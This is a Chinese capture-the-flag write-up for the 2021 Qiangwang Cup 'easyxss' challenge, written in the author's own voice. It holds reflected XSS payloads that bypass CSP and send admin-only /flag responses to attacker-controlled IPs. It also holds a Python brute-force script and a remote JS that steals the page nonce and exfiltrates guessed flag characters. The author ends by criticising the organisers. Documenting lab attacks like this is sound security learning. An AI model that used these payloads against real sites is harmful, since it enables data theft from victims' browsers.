强网杯2021 easyxss wp

强网杯2021 easyxss wp

前言

这题的环境和官方态度一言难尽,见后话。

网站功能描述

一个写日志的网站,需要注册登录。有一个提交url的地址,提交过去之后拥有管理员权限的bot会去访问。 写好的日志能够搜索、还有一个渲染页面。 主要考点是CSP的绕过,并且黑名单了一些字符。

CSP限制

1
Content-Security-Policy: default-src 'self'; form-action 'self'; frame-ancestors 'self'; style-src 'self'; img-src 'self'; script-src 'nonce-e5DgJ35L8SEgJZIP7REN9w==' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/

可以看到还是比较严格的, script-src 基本上就是 nonce 和谷歌的几个没啥利用方法的path(https://www.gstatic.com/recaptcha/、https://www.google.com/recaptcha/api.js)

47.104.192.54:8888/about?theme=hachp1

弹窗

由于nonce的存在,没办法直接插入 script ,所以不能用写日志的方式进行储存型XSS。发现渲染页面直接把参数 theme= 输出在本身带有nonce的script标签中,而且双引号没过滤,所以闭合一下,成功弹窗:

1
http://47.104.192.54:8888/about?theme=%22;});alert(%2211111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111%22);a=({//%22;

经测试,可以使用的字符:asd123/()., ; =-+?$:

过滤了src、get、body等关键词(环境打不开了,没有记下来)

用location可以向XSS平台传payload:

1
http://47.104.192.54:8888/about?theme=%22%3b%7d)%3bwindow.location.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%3fc%3d123%22%3ba%3d(%7b%2f%2f%22%3b

由于bot访问的是localhost,测试url:

1
http://localhost:8888/about?theme=%22%3b%7d)%3bwindow.location.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%3fc%3d123%22%3ba%3d(%7b%2f%2f%22%3b

这题出题人和主办方对环境的考虑有很大问题,这题本来就是一个可能大量交互的题目,居然还用公共靶机,我做这题的时候时间已经比较晚了,当时BOT已经被其他师傅D烂了,根本做不了。。。

以下为一些失败的payload,多数是由于黑名单限制没能成功,供参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
document.body.appendChild(document.createElement("script")).src="//129.204.230.95/1.js"
http://47.104.192.54:8888/about?theme=%22;});document.body.appendChild(document.createElement("script")).src="//129.204.230.95/1.js";a=({//%22;
$.getScript`http://129.204.230.95/1.js`
http://47.104.192.54:8888/about?theme=%22;});function createXmlHttp() { if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest() } else { var MSXML = new Array("MSXML2.XMLHTTP.5.0", "MSXML2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"); for (var n = 0; n < MSXML.length; n++) { try { xmlHttp = new ActiveXObject(MSXML[n]); break } catch(e) {} } }}createXmlHttp();xmlHttp.onreadystatechange = function(){ if (xmlHttp.readyState == 4) { code=escape(xmlHttp.responseText); createXmlHttp(); window.location.href="http://129.204.230.95/xss/myxss/?a="+code; }};xmlHttp.open("GET", "/xsstest/1.txt", true);xmlHttp.send(null);;a=({//%22;
http://47.104.192.54:8888/about?theme=";});xmlHttp=new XMLHttpRequest();xmlHttp.onreadystatechange=function(){if(xmlHttp.readyState==4){code=escape(xmlHttp.responseText);window.location.href="http://129.204.230.95/xss/myxss/?a="+code;}};xmlHttp.open("GET","/xsstest/1.txt",true);xmlHttp.send(null);;a=({//";
var script=document.createElement("script");script.setAttribute("sr"+"c","http://129.204.230.95/1.js");document.head.appendChild(script);
http://47.104.192.54:8888/about?theme=%22;});var%09script=document.createElement(%22script%22);script.setAttribute(%22sr%22%2b%22c%22,%22http://129.204.230.95/1.js%22);document.head.appendChild(script);a=({//%22;

成功传输到XSS平台的payload

经过一番调之后,终于发现一个能打的payload:

1
2
3
http://47.104.192.54:8888/about?theme=%22;});$.post(%22/flag%22,function(response){location.href=%22http://129.204.230.95/xss/myxss/?a=%22%2bresponse;});a=({//%22;
http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b

以上payload虽然可用,但没有返回结果,因为 /flag 处还有一个flag猜解的操作,要验证payload的可用性,想在xss平台看到一些回应可以用以下payload先返回一下其他页面:

1
http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fhint%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b

/flag 路由下的flag猜解

hint页面给了/flag路由下的逻辑,只有flag的前几位猜对时才返回 /flag 的前几位,所以实际做题时需要一位位的猜解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.all("/flag", auth, async (req, res, next) => {
if (req.session.isadmin && typeof req.query.var === 'string') {
fs.readFile('/flag', 'utf8', (err, flag) => {
let flagArray = flag.split('');
let dataArray = req.query.var.split('');
let check = true;
for (let i = 0; i < dataArray.length && i < flagArray.length; i++) { //按位对比,输入多长的flag,对比输出多长
if (dataArray[i] !== flagArray[i]) {
check = false;
break
}
}
if (check) {
res.status(200).send(req.query.var);
} else {
res.status(500).send('Keyword Error!');
}
});
} else {
res.status(500).send('Sorry, you are not admin!');
}
});

最后需要用脚本来做,给出一个帮助理解的poc(用来猜flag第一位为 f ):

1
http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%3fvar%3df%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b

做题脚本(半自动化的,一次执行只猜一位):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
url1 = 'http://47.104.155.242:8888'
url2 = 'http://47.104.192.54:8888'
url3 = 'http://47.104.210.56:8888'
url3='http://8.129.41.25:8888'
payload = 'http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b'
flag_h='flag'
words='}{0123456789abcdefghijklmnopqrstuvwxyz-_'
# payload = 'http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2f%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b'
# payload = 'http://localhost:8888/about?theme=%22%3b%7d)%3blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d123%22%3ba%3d(%7b%2f%2f%22%3b'
sess1 = requests.Session()
sess2 = requests.Session()
sess3 = requests.Session()
def regist(sess, url):
data = {
'username': '3', 'password': '3', 'submit': 'submit'
}
reg_url = url+'/register'
return sess.post(reg_url, data=data)
def login(sess, url):
data = {
'username': '3', 'password': '3', 'submit': 'submit'
}
login_url = url+'/login'
return sess.post(login_url, data=data)
def upload_url(sess, url,word):
flag=flag_h+word
payload='http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%3fvar%3d'+flag+'%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b'
data = {
'url': payload
}
up_url = url+'/report'
return sess.post(up_url, data=data)
while 1:
# if 'Report success!' not in upload_url(sess1, url1).text:
# print(regist(sess1, url1).text)
# print(login(sess1, url1).text)
# if 'Report success!' not in upload_url(sess2, url2).text:
# print(regist(sess2, url2).text)
# print(login(sess2, url2).text)
# print(regist(sess3, url3).text)
# print(login(sess3, url3).text)
for word in words:
print(flag_h+ word)
regist(sess3, url3)
login(sess3, url3)
upload_url(sess3, url3,word)

做题的恶劣环境下的解法

赛后看B乎,看到Zeddy大佬说恶劣环境可能也是做题考察的一部分,学到了(应该不是出题者本意,但也学习了),参考Nu1L的WP,可以引用远程的JS,并且在js中猜测flag(避免了猜一位的多次网络交互,但也需要一位一位的猜很多次):

直接读取了nonce,很有意思:

1
2
3
4
5
http://localhost:8888/about?
theme=";});var%09c=document.createElement("script");$(c).attr("nonce",$("scr
ipt")
[2].nonce);$(c).attr("s"%2b"rc","//58.87.73.74:8887/test.js");document.head.
append(c);console.log({"te":"",//

用js在受害者端一位一位的猜flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var cccc = "flag{6bb77f8b-6bc8-4b9e-b654-8a4da5ae920d"
function post(ch) {
cccc = cccc + ch;
document.location = "http://58.87.73.74:8887/" + cccc;
}
function test(ch) {
url = "http://localhost:8888/flag?var=" + cccc + ch;
// console.log(url);
fetch(url).then(response => {
if (response.status == 200) {
post(ch)
}
});
}
// for(var i=0; i<5; i++) {
var charset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a',
'b', 'c', 'd', 'e', 'f', '-', '}'
]
for (var j = 0; j < charset.length; j++) {
test(charset[j]);
}

其实应该是可以在bot端一口气猜完所有位的,只是现在环境关了不好调js了,感觉这样可能会更好一些。

后话

虽然我很少喷人,但这次真的想喷一下,主办方的人说“半自动化非常花时间,在正常比赛中不可能做的出来”,在我的做题时间点看来,如果bot服务是流畅的(比如独立的靶机),完全能够半自动的做出来的,虽然肯定不及更加优化的解题方案,但这种正常的情况应该也是能够得分的。虽然从某些人的角度来说,就比赛上确实不公,但是bot频频挂掉确实不应该是所谓的“正常情况”。特别是最后一波“本地验证”的操作,令人哭笑不得。